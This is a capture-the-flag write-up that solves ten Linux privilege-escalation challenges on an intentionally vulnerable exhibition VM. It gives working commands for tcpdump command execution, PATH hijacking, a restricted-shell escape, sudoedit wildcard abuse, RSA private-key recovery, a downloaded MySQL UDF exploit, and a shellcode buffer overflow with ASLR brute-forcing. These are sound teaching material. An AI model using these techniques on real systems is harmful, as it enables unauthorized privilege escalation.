Write-up NDH2018
Privilege escalation challenges made for Harmonie-Technologie exhibition stand @ NDH16 (Paris)
Title | Description |
---|---|
About | VM link and Rules |
Challenge 1 | Bash_history |
Challenge 2 | Sudo |
Challenge 3 | Cron |
Challenge 4 | tcpdump |
Challenge 5 | Ambiguous system() |
Challenge 6 | Escaping |
Challenge 7 | Double wildcard |
Challenge 8 | Weak SSH public key |
Challenge 9 | MySql UDF |
Challenge 10 | ASLR Buffer overflow |
The vulnerable virtual machine can be downloaded here:
- 32 bits
- 3,8 Go
- md5sum: 70968aaee90cb84f51b4769f54eba19e
Here are the rules:
- First, we SSH as
level1
into/wargames/level1/
- Our goal is to elevate our privileges as
level1_OK
to read thevalidation/flag
file. - This flag enables us to SSH as
level2
into/wargames/level2
, etc. - The main goal is to read
level10
'svalidation/flag
.
During NDH2018, VMs used to kick challengers after 60 minutes and passwords used to be re-generated each time.
We connect to level1
with password 73e5fe8dd943659ef46dd638c1ff2e9d
:
We spawn into /wargames/level1/
. Let's see what we have:
level1@harmonie-technologie:~$ ls -la
total 20
dr-xr-x--- 3 level1 level1 4096 Jun 13 10:38 .
dr-xr-xr-x 12 root root 4096 May 28 07:03 ..
-r--r----- 1 level1 level1 128 Jun 13 10:10 .bash_history
-r--r----- 1 level1 level1 595 Jun 13 10:24 indices
dr-x------ 2 level1_OK level1_OK 4096 May 22 08:36 validation
.bash_history
looks not empty. Let's cat it.
level1@harmonie-technologie:~$ cat .bash_history
ls
ls validation
cd validation
cd ..
cd level1/validation
cd level1
suu level1_OK
725fc84ebb57658e0851476ff0dbf48c
su level1_OK
level1_OK:725fc84ebb57658e0851476ff0dbf48c
It seems that level1_OK
tried to su, but due to keying error, he typed his password when not asked. His password is now saved into .bash_history
like all commands he types. Armed with this password, we can SSH as level1_OK
and cat the flag:
level1_OK@harmonie-technologie:~$ ls -la
total 12
dr-x------ 2 level1_OK level1_OK 4096 May 22 08:36 .
dr-xr-x--- 3 level1 level1 4096 Jun 13 10:38 ..
-r-------- 1 level1_OK level1_OK 73 Jun 13 09:53 flag
level1_OK@harmonie-technologie:~$ cat flag
Identifiants SSH :
login : level2
mdp : 9a8589dac2fdf54ffb9aed5bbd3d40f5
level2:9a8589dac2fdf54ffb9aed5bbd3d40f5
We connect as level2
with the hash previously found. We can check sudo -l
to see that we can execute a command as level2_OK
.
level2@harmonie-technologie:~$ sudo -l
Matching Defaults entries for level2 on harmonie-technologie:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
sudoedit_follow
User level2 may run the following commands on harmonie-technologie:
(level2_OK) NOPASSWD: /bin/bash
We are allowed to spawn a bash shell as level2_OK
. Let's do this, and let's read our flag ! :
level2@harmonie-technologie:~$ sudo -u level2_OK /bin/bash
level2_OK@harmonie-technologie:/wargames/level2$ cat validation/flag
Identifiants SSH :
login : level3
mdp : ec3ae40face0433f0a8333396d73f17a
level3:ec3ae40face0433f0a8333396d73f17a
We can see a script.sh
file in our directory with ls
command.
level3@harmonie-technologie:~$ ls -la
total 20
dr-xr-x--- 3 level3 level3 4096 Jun 13 10:37 .
dr-xr-xr-x 12 root root 4096 May 28 07:03 ..
-r--r----- 1 level3 level3 20 Jun 13 10:37 indices
-r-xrwx--- 1 level3_OK level3 60 May 29 16:28 script.sh
dr-x------ 2 level3_OK level3_OK 4096 May 29 07:27 validation
This script is owned by level3_OK
. Let's see what is the purpose of this file by cating it
level3@harmonie-technologie:~$ cat script.sh
#!/bin/sh
# Free Disk Space Script
df -h > /tmp/free 2>&1
Okay, it seems to write output of df
command into /tmp/free
. We execute ls
on this file and see that the file is also owned by level3_OK
.
level3@harmonie-technologie:~$ ls -l /tmp/free
-r--r----- 1 level3_OK level3_OK 323 Jul 4 14:29 /tmp/free
We assume this file was created by our script.sh. Is there any chance that our script.sh
is executed periodically, with cron ? With stat command, we see the file is created each 20 seconds.
level3@harmonie-technologie:~$ stat /tmp/free
File: /tmp/free
Size: 323 Blocks: 8 IO Block: 4096 regular file
Device: 801h/2049d Inode: 655852 Links: 1
Access: (0440/-r--r-----) Uid: ( 1013/level3_OK) Gid: ( 1013/level3_OK)
Access: 2018-07-04 14:29:01.627999685 -0500
Modify: 2018-07-04 14:29:01.639999685 -0500
Change: 2018-07-04 14:59:41.983335199 -0500
Birth: -
So our assumption is probably true. Let's edit our script.sh
to copy the flag into /tmp/
level3@harmonie-technologie:~$ echo 'cp /wargames/level3/validation/flag /tmp/flag ; chmod 777 /tmp/flag' >> /wargames/level3/script.sh
We can see that /tmp/flag
is then created, with our flag in it
level3@harmonie-technologie:~$ cat /tmp/flag
Identifiants SSH :
login : level4
mdp : 1dff8183db0c37844e7a3cb00787ed1d
level4:1dff8183db0c37844e7a3cb00787ed1d
First, we sudo -l
to see that we are allowed to execute tcpdump
as level4_OK
.
level4@harmonie-technologie:~$ sudo -l
Matching Defaults entries for level4 on harmonie-technologie:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
sudoedit_follow
User level4 may run the following commands on harmonie-technologie:
(level4_OK) NOPASSWD: /usr/sbin/tcpdump
If we could find a way tcpdump
to execute a command or a script, it will be done as level4_OK
. Fortunately for us, we can find this page showing us how to do such a thing. First, we create a script to execute
level4@harmonie-technologie:~$ echo "cat /wargames/level4/validation/flag" > /tmp/script.sh
level4@harmonie-technologie:~$ chmod +x /tmp/script.sh
Then, let's do crazy things with tcpdump
options to execute our script.sh
!
level4@harmonie-technologie:~$ sudo -u level4_OK /usr/sbin/tcpdump -ln -i ens32 -w /dev/null -W 1 -G 1 -z /tmp/script.sh
tcpdump: listening on ens32, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
9 packets received by filter
0 packets dropped by kernel
level4@harmonie-technologie:~$ Identifiants SSH :
login : level5
mdp : 6849269f685dbfca052e87ae24119305
level5:6849269f685dbfca052e87ae24119305
First, we ls
. We can see a binary level5
with setuid bit on
level5@harmonie-technologie:~$ ls -la
total 28
dr-xr-x--- 3 level5 level5 4096 Jun 13 10:50 .
dr-xr-xr-x 12 root root 4096 May 28 07:03 ..
-r--r----- 1 level5 level5 63 Jun 13 10:37 indices
-r-sr-x--- 1 level5_OK level5 7652 May 22 08:36 level5
-r--r----- 1 level5 level5 70 Jun 13 10:50 level5.c
dr-x------ 2 level5_OK level5_OK 4096 May 22 08:36 validation
It means that when we execute level5
, it will be done as level5_OK
. So if we could find a way to make our level5
binary execute commands for us, we win ! Let's see the level5.c
(source code)
level5@harmonie-technologie:~$ cat level5.c
# Brouillon
#include <stdio.h>
void main()
{
system("ls -lah ");
}
There is not a lot of things. We just have a system
function executing a bash command. The problem here is that our ls
command is ambiguous. Indeed, how does our system
function know where is located our ls
command ? It simply browses our $PATH
variable and check if ls is available in each directory from left to right.
level5@harmonie-technologie:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
With this $PATH
, system()
will be looking for ls binary into /usr/local/bin
first, then into /usr/bin
, etc. So, let's imagine we create a fake ls
binary into /tmp/
and fool system()
function by editing our $PATH
variable to point to our fake ls
binary ?
level5@harmonie-technologie:~$ echo "/bin/sh" >> /tmp/ls
level5@harmonie-technologie:~$ chmod +x /tmp/ls
level5@harmonie-technologie:~$ cd /tmp/ ; touch a
level5@harmonie-technologie:/tmp$ export PATH=/tmp:$PATH
Let's execute our level5
binary
level5@harmonie-technologie:/tmp$ /wargames/level5/level5 a
---------------------------------
- HARMONIE-TECHNOLOGIE PRESENTS -
---------------------------------
$ whoami
level5_OK
$ cat /wargames/level5/validation/flag
Identifiants SSH
login : level6
mdp : dd37daab8527108ecef8c8d8da901dd4
level6:dd37daab8527108ecef8c8d8da901dd4
We try to SSH as level6
but we come face to face with that. Wtf ?
We can try to find keys to stop this (good luck). Or... you can think. This pops up when we SSH with correct logins. We can assume that script is launched with .bash_profile
ssh [email protected] -t "/bin/bash"
[email protected]'s password:
level6@harmonie-technologie:~$
We see with sudo -l
we can execute a binary named 1up
level6@harmonie-technologie:~$ sudo -l
Matching Defaults entries for level6 on harmonie-technologie:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
sudoedit_follow
User level6 may run the following commands on harmonie-technologie:
(level6_OK) NOPASSWD: /usr/bin/1up
1up
is executed as level6_OK
. Let's go.
level6@harmonie-technologie:~$ sudo -u level6_OK /usr/bin/1up
== Harmonie-Technologie ==
Welcome to a restricted shell
Type '?' or 'help' to get the list of allowed commands
level6_OK:~$ help
cd date exit history lpath lsudo whereis
clear echo help id ls pwd whoami
Now we are level6_OK
, but into a limited shell. We can't do lot of things... The hint in home directory tells us that this is lshell
. After some researches, we found into lshell github issues a way to escape lshell.
level6_OK:~$ echo FREEDOM! && cd () bash && cd
FREEDOM!
level6_OK@harmonie-technologie:~$ cat flag
Identifiants SSH :
login : level7
mdp : ed157267bb12163a0aff440a30465565
level7:ed157267bb12163a0aff440a30465565
We can see with sudo -l
we are allowed to sudoedit as level7_OK
.
level7@harmonie-technologie:~$ sudo -l
Matching Defaults entries for level7 on harmonie-technologie:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
sudoedit_follow
User level7 may run the following commands on harmonie-technologie:
(level7_OK) NOPASSWD: sudoedit /wargames/level7/*/*/hello.html
The double wildcard catches our attention. We look for a privilege escalation exploit on internet and find this. Unfortunately, we are not allowed to create files in these directories. But there is a way to fool our sudoedit
with spaces.
level7@harmonie-technologie:~$ sudoedit -u level7_OK /wargames/level7/ validation/flag /hello.html
It modifies our validation/flag
as level7_OK
and we can see the flag
GNU nano 2.7.4 File: /var/tmp/flag.XXarylty
Identifiants SSH :
login : level8
mdp : 838e7b5fe545215c7d057d1e546d1192
level8:838e7b5fe545215c7d057d1e546d1192
First, we see a level8_OK.pub
, which is a public key.
level8@harmonie-technologie:~$ ls -la
total 16
dr-xr-x--- 3 level8 level8 4096 Jun 13 09:13 .
dr-xr-xr-x 12 root root 4096 May 28 07:03 ..
-r--r----- 1 level8_OK level8 452 Jun 13 09:13 level8_OK.pub
dr-x------ 3 level8_OK level8_OK 4096 May 29 14:07 validation
level8@harmonie-technologie:~$ cat level8_OK.pub
-----BEGIN PUBLIC KEY-----
MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKBgQJEOdD3xMZXXa6KlK5TkdGp
Xks6KsSAvEhOEVu5f2CpF6PbXOHQbn8RFF852PDuqDsAuL+FhMfTyUHy8QtYe5AX
m48Dj9Huf3uDRoTgQ8kzbQ/lJRY9o+XveRSLXliobpO/03mrGVJ6GQg+kXoUp6JF
v9upT0xP7tX/ZHatsca0vwKBgQIUKNuaGhnRSwphFCHpTdjR/Qn4maTnPr6Mefgc
XMwAMl51wNgda1z68WQvZUypv0lzUwel6EnmNAg5Jxtgu2VBIyZw8yL+RZ0S/QhQ
838fTH68XJ4Wnr5M3Xp1/PlTbw+Uyuj1pG6tU5W0b7LTMHsiP1mo+KKWAmBW5js1
WJuEMw==
-----END PUBLIC KEY-----
We look for a way to retrieve private key from public key and find RSACtfTool
mbp:~ aas$:/opt/RsaCtfTool# python2.7 ./RsaCtfTool.py --publickey ./level8_OK.pub --private
-----BEGIN RSA PRIVATE KEY-----
MIICOQIBAAKBgQJEOdD3xMZXXa6KlK5TkdGpXks6KsSAvEhOEVu5f2CpF6PbXOHQ
bn8RFF852PDuqDsAuL+FhMfTyUHy8QtYe5AXm48Dj9Huf3uDRoTgQ8kzbQ/lJRY9
o+XveRSLXliobpO/03mrGVJ6GQg+kXoUp6JFv9upT0xP7tX/ZHatsca0vwKBgQIU
KNuaGhnRSwphFCHpTdjR/Qn4maTnPr6MefgcXMwAMl51wNgda1z68WQvZUypv0lz
Uwel6EnmNAg5Jxtgu2VBIyZw8yL+RZ0S/QhQ838fTH68XJ4Wnr5M3Xp1/PlTbw+U
yuj1pG6tU5W0b7LTMHsiP1mo+KKWAmBW5js1WJuEMwIgRcnVWAD+e2g5P7EkY6PZ
z84C0lkNl6trJOS8W28jv5sCQQEyAyR+3b2K13m7XwIZrBZyGRP19A3kLg+mcDEs
vBnCzNS8Vs9it2oQ62GE9HBAl7qMdxPLjjTApWRKEvdO6SRPAkEB5WXyQiDkaUsG
2m6x5yRXf/La+o61TIp0VAzKPqhy8C5WZL/MIddBY8CJkAXjN1VjHtTu54xXLyAl
L/AAjZeckQIgRcnVWAD+e2g5P7EkY6PZz84C0lkNl6trJOS8W28jv5sCIEXJ1VgA
/ntoOT+xJGOj2c/OAtJZDZerayTkvFtvI7+bAkBKy2kr6DNEuU85q/XKADVY42nn
tUfGDfFTxSpHPBbyIzaFAWznIPnD6AbfYbagjs/Mn25Wxzb6D6TORbijBID2
-----END RSA PRIVATE KEY-----
Now, what remains to be done is to SSH as level8_OK
with the retrieved private key
mbp:~ aas$ chmod 600 level8_OK.priv
mbp:~ aas$ ssh -i level8_OK.priv [email protected]
Linux harmonie-technologie 4.9.0-6-686-pae #1 SMP Debian 4.9.82-1+deb9u3 (2018-03-02) i686
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
level8_OK@harmonie-technologie:~$ cat flag
Identifiants SSH :
login : level9
mdp : b9581507cf0b6d50f0e49e784b2e7a1a
level9:b9581507cf0b6d50f0e49e784b2e7a1a
We see we can launch mysql
here.
level9@harmonie-technologie:~$ ls -la
total 16
dr-xr-x--- 3 level9 level9 4096 Jun 4 17:08 .
dr-xr-xr-x 12 root root 4096 May 28 07:03 ..
-r--r----- 1 level9 level9 50 Jun 4 17:08 .my.cnf
lrwxrwxrwx 1 root root 26 Jun 4 15:26 mysql -> /usr/local/mysql/bin/mysql
dr-x------ 2 level9_OK level9_OK 4096 May 22 08:36 validation
With ps
command, we see mysqld
is started as level9_OK
, and we have basedir
, datadir
and plugin-dir
level9@harmonie-technologie:~$ ps -aux | grep mysql
...
level9_+ [...] /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin --user=level9_OK [...]
...
We want to make mysql
execute commands for us. We heard about UDF. We found this old exploit. Let's download our exploit
level9@harmonie-technologie:~$ cd /tmp/
level9@harmonie-technologie:/tmp$ wget https://raw.githubusercontent.com/ankh2054/MySQL-UDF/master/raptor_udf2.c
raptor_udf2.c 100%[============================================>] 2.59K --.-KB/s in 0s
We compile our source code, and we execute mysql
level9@harmonie-technologie:~$ gcc -g -c raptor_udf2.c
level9@harmonie-technologie:~$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
level9@harmonie-technologie:~$ cd ; ./mysql
We execute these mysql
commands
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/tmp/raptor_udf2.so'));
We use our plugin-dir
enumerated with ps
command. Then we create our do_system
function to execute commands
mysql> select * from foo into dumpfile '/usr/local/mysql/lib/plugin/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
All we have to do now is to execute a command
mysql> select do_system('cp /wargames/level9/validation/flag /tmp/lev9 ; chmod 777 /tmp/lev9');
mysql> exit;
Bye
We can now read the flag
level9@harmonie-technologie:~$ cat /tmp/lev9
Identifiants SSH :
login : levelfinal
mdp : 181b70c897ddd4a4673d5794206379b7
levelfinal:181b70c897ddd4a4673d5794206379b7
A ls
lets us know we have a levelfinal
binary with setuid bit. Again, it means it is executed as levelfinal_OK
.
levelfinal@harmonie-technologie:~$ ls -la
total 32
dr-xr-x--- 3 levelfinal levelfinal 4096 Jun 13 10:36 .
dr-xr-xr-x 12 root root 4096 May 28 07:03 ..
---x------ 1 levelfinal levelfinal 7508 May 22 09:05 getEnvAddress
-r--r----- 1 levelfinal levelfinal 182 Jun 13 10:36 indices
-r-sr-x--- 1 levelfinal_OK levelfinal 7556 May 22 08:36 levelfinal
dr-x------ 2 levelfinal_OK levelfinal_OK 4096 May 22 08:36 validation
We try to execute our binary file
levelfinal@harmonie-technologie:~$ ./levelfinal aas
Hello aas! You can't hack me...
We use strings on the binary and see that strcpy function is used
levelfinal@harmonie-technologie:~$ strings levelfinal
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
strcpy
exit
puts
Is it possible the binary is vulnerable to buffer overflow ? Let's try to send lot of A.
levelfinal@harmonie-technologie:~$ ./levelfinal `python -c "print 'A'*100"`
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA! You can't hack me...
Segmentation fault
Segfault, nice. We probably have overwritten EIP
register (next instruction to be executed). We now use dbg
to disassemble functions and make sure strcpy
is indeed used in vuln
function.
levelfinal@harmonie-technologie:~$ gdb ./levelfinal -q
(gdb) disas main
Dump of assembler code for function main:
[...]
0x0000069c <+64>: add $0x4,%eax
0x0000069f <+67>: mov (%eax),%eax
0x000006a1 <+69>: sub $0xc,%esp
0x000006a4 <+72>: push %eax
0x000006a5 <+73>: call 0x620 <vuln>
0x000006aa <+78>: add $0x10,%esp
0x000006ad <+81>: mov $0x0,%eax
0x000006b2 <+86>: lea -0x8(%ebp),%esp
[...]
(gdb) disas vuln
Dump of assembler code for function vuln:
[...]
0x0000063b <+27>: push %eax
0x0000063c <+28>: call 0x460 <strcpy@plt>
0x00000641 <+33>: add $0x10,%esp
[...]
Here, we want to find offset to overwrite EIP
. To that purpose we use pattern-create
root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Let's use this pattern inside gdb
levelfinal@harmonie-technologie:~$ gdb ./levelfinal -q
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Program received signal SIGSEGV, Segmentation fault.
0x41386141 in ?? ()
We then use pattern_offset
to retrieve offset
root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41386141
[*] Exact match at offset 24
After 24 letters, we overwrite EIP
register. Next we want to store our shellcode in memory. One way to achieve that purpose is to put it in environment variable. We put few NOPs instructions before our shellcode to give us latitude when our program will need our shellcode.
levelfinal@harmonie-technologie:~$ export SC=$(python -c 'print "\x90"*30000 + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"')
We retrieve our shellcode address
levelfinal@harmonie-technologie:~$ ./getEnvAddress SC
SC is located at 0xbfd2fa0f
We gather all these informations and write the following command
./levelfinal `python -c "print 'A'*24 + '\x15\xfa\xd2\xbf'"`
This probably works without ASLR protection. But here, it is enabled. But we are on a 32 bits machine, and we can simply bruteforce it... To that purpose, let's add some bash around our python command.
levelfinal@harmonie-technologie:~$ for i in {1..66000}; do echo number of tries: $i && ./levelfinal `python -c "print 'A'*24 + '\x15\xfa\xd2\xbf'"`&& break;echo Exploit failed;done;
00fa43a89878a45deaad751f4a7c23d2
Thanks for reading this.
I hope you enjoyed it as much as I enjoyed making these challenges.
Created by Lydéric Lefebvre